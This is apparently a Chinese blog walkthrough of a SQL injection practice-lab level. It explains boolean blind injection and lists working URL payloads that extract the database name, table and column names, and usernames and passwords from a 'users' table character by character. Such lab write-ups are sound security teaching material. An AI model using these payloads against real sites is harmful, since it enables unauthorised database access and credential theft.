本文发布于815天前,本文最后更新于811 天前,其中的信息可能已经过时,如有错误请留言或评论。
判断闭合为'闭合,页面无回显位,只有两个页面,其中有一个为报错页面,因此可使用布尔延时注入,与第五关类似。
?id=1'and length((select database()))>9--+ #大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4 ?id=1'and ascii(substr((select database()),1,1))=115--+ #substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。 ?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+ 判断所有表名字符长度。 ?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+ 逐一判断表名 ?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+ 判断所有字段名的长度 ?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+ 逐一判断字段名。 ?id=1' and length((select group_concat(username,password) from users))>109--+ 判断字段内容长度 ?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+ 逐一检测内容。